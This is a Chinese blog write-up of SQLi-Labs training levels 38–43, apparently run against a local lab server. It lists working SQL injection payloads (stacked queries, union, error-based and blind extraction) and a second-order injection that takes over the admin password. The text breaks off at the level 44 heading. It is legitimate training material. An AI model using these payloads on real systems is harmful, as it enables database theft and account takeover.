SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)

文章目录

        • 1. SqliLab_Mysql_Injection详解_字符型注入(十二)
          • 1.1. SQL注入_堆叠注入
          • 1.2. 原理
          • 1.3. 限制条件
        • 2. SqliLab关卡(包含38,39,40,41,42,43,44,45)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
          • 2.1. SqliLab-38(堆叠注入(单引号闭合)):
            • 2.1.1. 初始界面
            • 2.1.2. 判断注入点(关键步骤)
            • 2.1.3. 使用UNION联合查询获取数据库信息
            • 2.1.4. 使用报错注入获取数据库信息
          • 2.2. SqliLab-39(堆叠注入(无字符闭合)):
            • 2.2.1. 初始界面
            • 2.2.2. 判断注入点(关键步骤)
            • 2.2.3. 使用UNION联合查询获取数据库信息
            • 2.2.4. 使用报错注入获取数据库信息
          • 2.3. SqliLab-40(堆叠注入(')闭合)):
            • 2.3.1. 初始界面
            • 2.3.2. 判断注入点(关键步骤)
            • 2.3.3. 使用UNION联合查询获取数据库信息
            • 2.3.4. 使用布尔盲注获取数据库信息
            • 2.3.5. 使用时间盲注获取数据库信息
          • 2.4. SqliLab-41(堆叠注入(无字符闭合)):
            • 2.4.1. 初始界面
            • 2.4.2. 判断注入点(关键步骤)
            • 2.4.3. 使用UNION联合查询获取数据库信息
            • 2.4.4. 使用布尔盲注获取数据库信息
            • 2.4.5. 使用时间盲注获取数据库信息
          • 2.5. SqliLab-42(POST型_堆叠注入_二次注入(单引号闭合)):
            • 2.5.1. 初始界面
            • 2.5.2. 判断注入点(关键步骤)
            • 2.5.3. 使用UNION联合查询获取数据库信息
            • 2.5.4. 使用报错注入获取数据库信息
            • 2.5.5. 使用二次注入更改管理员(admin)的密码
          • 2.6. SqliLab-43(POST型_堆叠注入(')闭合)):
            • 2.6.1. 初始界面
            • 2.6.2. 判断注入点(关键步骤)
            • 2.6.3. 使用UNION联合查询获取数据库信息
            • 2.6.4. 使用报错注入获取数据库信息
          • 2.7. SqliLab-44(POST型_堆叠注入(单引号闭合)):
            • 2.7.1. 初始界面
            • 2.7.2. 判断注入点(关键步骤)
            • 2.7.3. 使用布尔盲注获取数据库信息
          • 2.8. SqliLab-45(POST型_堆叠注入(')闭合)):
            • 2.8.1. 初始界面
            • 2.8.2. 判断注入点(关键步骤)
            • 2.8.3. 使用布尔盲注获取数据库信息
        • 3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(十二)

1.1. SQL注入_堆叠注入
1.2. 原理

堆叠注入与受限于select语句的联合查询法(字段数的多少)相反,堆叠注入可用于执行任意数量的SQL语句或过程。相当于是就是mysql的多语句查询。

1.3. 限制条件
  • 堆叠注入并不是在任何环境下都可以执行的,可能受到API或数据库引擎不支持的限制(如Oracle数据库),也有可能是权限不足;
  • 在web系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,这是在前端界面,是无法看到返回结果的,所以在获取数据时,通常使用使用UNION联合查询注入;
  • 同时在使用堆叠注入之前,也是需要知道一些数据库相关信息的,如表名,列名等;

2. SqliLab关卡(包含38,39,40,41,42,43,44,45)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)

2.1. SqliLab-38(堆叠注入(单引号闭合)):
2.1.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第1张图片

2.1.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-38/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-38/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-38/?id=1' and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-38/?id=1' and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-38/?id=1'))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-38/?id=1'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-38/?id=0'union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-38/?id=1';create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-38/?id=0'union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

在这里插入图片描述
SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第2张图片
经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.1.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-38/?id=1'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-38/?id=0'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.1.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-38/?id=0'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-38结束;

2.2. SqliLab-39(堆叠注入(无字符闭合)):
2.2.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第3张图片

2.2.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-39/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-39/?id=1 and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,无闭合字符;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-39/?id=1))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-39/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-39/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-39/?id=1;create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-39/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(id)测试,发现参数(id)存在注入,无闭合字符,存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.2.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-39/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-39/?id=0 union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.2.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-39/?id=0 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-39结束;

2.3. SqliLab-40(堆叠注入(’)闭合)):
2.3.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第4张图片

2.3.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-40/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-40/?id=1' and 1=1 --+
//服务器返回错误(预期正确),尝试使用(")替换(')进行构造;
http://192.168.1.104/sql/Less-40/?id=1" and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1" and 1=2 --+
//服务器返回正确(预期错误),尝试使用())替换(")进行构造;
http://192.168.1.104/sql/Less-40/?id=1) and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1) and 1=2 --+
//服务器返回正确(预期错误),尝试使用())替换(")进行构造;
http://192.168.1.104/sql/Less-40/?id=1] and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1] and 1=2 --+
//服务器返回正确(预期错误),尝试使用(})替换(])进行构造;
http://192.168.1.104/sql/Less-40/?id=1} and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1} and 1=2 --+
//服务器返回正确(预期错误),尝试使用('')替换(})进行构造;
http://192.168.1.104/sql/Less-40/?id=1'' and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1'' and 1=2 --+
//服务器返回正确(预期错误),尝试使用('")替换('')进行构造;
http://192.168.1.104/sql/Less-40/?id=1'" and 1=1 --+
//服务器返回错误(预期正确),尝试使用('))替换('")进行构造;
http://192.168.1.104/sql/Less-40/?id=1') and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-40/?id=1') and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-40/?id=1'))) and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示;
//经过判断,不存在SQL语句报错提示;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-40/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-40/?id=0') union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-40/?id=1');create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-40/?id=0') union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-40/?id=1') and if(1=1,sleep(4),1) --+
//服务器返回页面错误,时间延迟(6)秒,查询(2)秒,休眠(4)秒,再次尝试sleep(6);
http://192.168.1.104/sql/Less-40/?id=1') and if(1=1,sleep(6),1) --+
//服务器返回页面错误,时间延迟(8)秒,查询(2)秒,休眠(6)秒,再次尝试sleep(8);
http://192.168.1.104/sql/Less-40/?id=1') and if(1=1,sleep(8),1) --+
//服务器返回页面错误,时间延迟(10)秒,查询(2)秒,休眠(8)秒,判断参数(id)存在时间盲注;

经过对参数(id)测试,发现参数(id)存在注入(布尔盲注和时间盲注),闭合字符为(’)),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询或者盲注(布尔/时间)的方式(实在没办法了还有条件才使用)来获取数据库信息,下面进行测试;

2.3.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-40/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-40/?id=0') union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.3.4. 使用布尔盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-40/?id=1') and left(database(),1)='s' --+ 
//服务器返回页面正确,查询到当前数据库名的第一个字符为(s);
...
2.3.5. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-40/?id=1') and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,时间延迟(7)秒,查询(2)秒,休眠(5)秒,查询到当前数据库名的第一个字符的第一个ASCII值;
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-40结束;

2.4. SqliLab-41(堆叠注入(无字符闭合)):
2.4.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第5张图片

2.4.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-41/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-41/?id=1 and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,无闭合字符;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-41/?id=1'))) and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-41/?id=1"%$" and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-41/?id=1"%^&> and 1=1 --+
//服务器返回页面错误,没有SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-41/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-41/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-41/?id=1;create database hack_test --+
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
http://192.168.1.104/sql/Less-41/?id=0 union select 1,group_concat(schema_name),2 from information_schema.schemata --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-41/?id=1 and if(1=1,sleep(4),1) --+
//服务器返回页面错误,时间延迟(6)秒,查询(2)秒,休眠(4)秒,再次尝试sleep(6);
http://192.168.1.104/sql/Less-41/?id=1 and if(1=1,sleep(6),1) --+
//服务器返回页面错误,时间延迟(8)秒,查询(2)秒,休眠(6)秒,再次尝试sleep(8);
http://192.168.1.104/sql/Less-41/?id=1 and if(1=1,sleep(8),1) --+
//服务器返回页面错误,时间延迟(10)秒,查询(2)秒,休眠(8)秒,判断参数(id)存在时间盲注;

经过对参数(id)测试,发现参数(id)存在注入(布尔盲注和时间盲注),无闭合字符,存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询或者盲注(布尔/时间)的方式(实在没办法了还有条件才使用)来获取数据库信息,下面进行测试;

2.4.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-41/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-41/?id=0 union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.4.4. 使用布尔盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-41/?id=1 and left(database(),1)='s' --+ 
//服务器返回页面正确,查询到当前数据库名的第一个字符为(s);
...
2.4.5. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-41/?id=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,时间延迟(7)秒,查询(2)秒,休眠(5)秒,查询到当前数据库名的第一个字符的第一个ASCII值;
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-41结束;

2.5. SqliLab-42(POST型_堆叠注入_二次注入(单引号闭合)):
2.5.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第6张图片

2.5.2. 判断注入点(关键步骤)

观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-24相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户的功能无法使用了);
EG:

login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=a" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=a) or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=a] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=a} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=a'' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=a'" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=a') or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('])代替('))进行构造;
login_user=a'] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('})代替('))进行构造;
login_user=a'} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("')代替('})进行构造;
login_user=a"' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
login_user=a"" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("))代替("")进行构造;
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("])代替("))进行构造;
login_user=a"] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用("})代替("])进行构造;
login_user=a"} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()')代替("})进行构造;
login_user=a)' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;
login_user=a)" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用()))代替()")进行构造;
login_user=a)) or 1=1 %23&login_password=1&mysubmit=Login
...
//发现无论构造怎样的闭合字符的payload,服务器返回页面都是错误,判断参数(login_user)不存在注入,考虑参数(login_password)存在注入;
login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1' or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为(');

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第7张图片
判断是否存在SQL语句报错提示
EG:

login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,有SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

判断是否存在堆叠注入
EG:

...
login_user=Dumb&login_password=0' order by 1,2,3,4 %23&mysubmit=Login 
//服务器返回页面错误,同时有报错提示,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0' union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login 
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=0';create database hack_test %23&mysubmit=Login
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0' union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login 
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第8张图片
SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第9张图片

经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,以及使用二次注入的方式直接更改管理员(admin)的密码,下面进行测试;

2.5.3. 使用UNION联合查询获取数据库信息

EG:

login_user=Dumb&login_password=0' union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 %23&mysubmit=Login 
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第10张图片

2.5.4. 使用报错注入获取数据库信息

EG:

login_user=Dumb&login_password=0' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&mysubmit=Login 
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第11张图片

2.5.5. 使用二次注入更改管理员(admin)的密码

由于无法使用新建用户功能,所以利用堆叠注入,向(users)表(通过前面的union联合查询或者报错注入得到)中插入一个新的用户(admin’#)
EG:

login_user=Dumb&login_password=0';insert into users(id,username,password) values(9999,"admin'#",'123') %23&mysubmit=Login
//服务器返回页面错误,但可以利用union联合查询或者爆错注入,查看当前(users)表是否新增了用户数据;
login_user=Dumb&login_password=0'union select 1,concat(0x7c,username,0x7c,password),2 from users where id=9999  %23&mysubmit=Login
//服务器返回页面正确,同时查询到“新建”(插入)的用户名为(admin'#),密码为(123);

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第12张图片
SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第13张图片
SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第14张图片

使用新创建的用户的username和password进行登录,登录后并更改自身密码,再退出登录,尝试使用刚才更改的密码登录管理员账户(admin),查看管理员密码是否成功更改
EG:

login_user=admin%27%23&login_password=123&mysubmit=Login
//服务器返回页面正确,成功登录;
current_password=123&password=123&re_password=123&submit=update+password
//服务器返回页面正确,成功更改密码,使用管理员账户和重新更改的密码登录;
login_user=admin&login_password=123&mysubmit=Login
//服务器返回页面正确,成功登录管理员账户;

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第15张图片
SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第16张图片

获取其他信息的方法如上面示例的一样,至此,SqliLab-42结束;

2.6. SqliLab-43(POST型_堆叠注入(’)闭合)):
2.6.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第17张图片

2.6.2. 判断注入点(关键步骤)

观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-42相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户和更改密码的功能都无法使用了);
由于在之前的相关类型的题中,都是参数(login_password)存在注入,这里直接对其进行注入点测试;
EG:

login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=1&login_password=1" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=1&login_password=1) or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=1&login_password=1] or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=1&login_password=1} or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=1&login_password=1'' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=1&login_password=1'" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=1&login_password=1') or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1') or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示
EG:

login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,有SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

判断是否存在堆叠注入
EG:

...
login_user=Dumb&login_password=0') order by 1,2,3,4 %23&mysubmit=Login 
//服务器返回页面错误,同时有报错提示,判断出字段数为(3),使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0') union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login 
//查询到数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=0');create database hack_test %23&mysubmit=Login
//服务器返回正确,使用union联合查询当前mysql中有哪些数据库;
login_user=Dumb&login_password=0') union select 1,group_concat(schema_name),2 from information_schema.schemata %23&mysubmit=Login 
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’)),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.6.3. 使用UNION联合查询获取数据库信息

EG:

login_user=Dumb&login_password=0') union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 %23&mysubmit=Login 
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.6.4. 使用报错注入获取数据库信息

EG:

login_user=Dumb&login_password=0') and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&mysubmit=Login 
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-43结束;

2.7. SqliLab-44(POST型_堆叠注入(单引号闭合)):
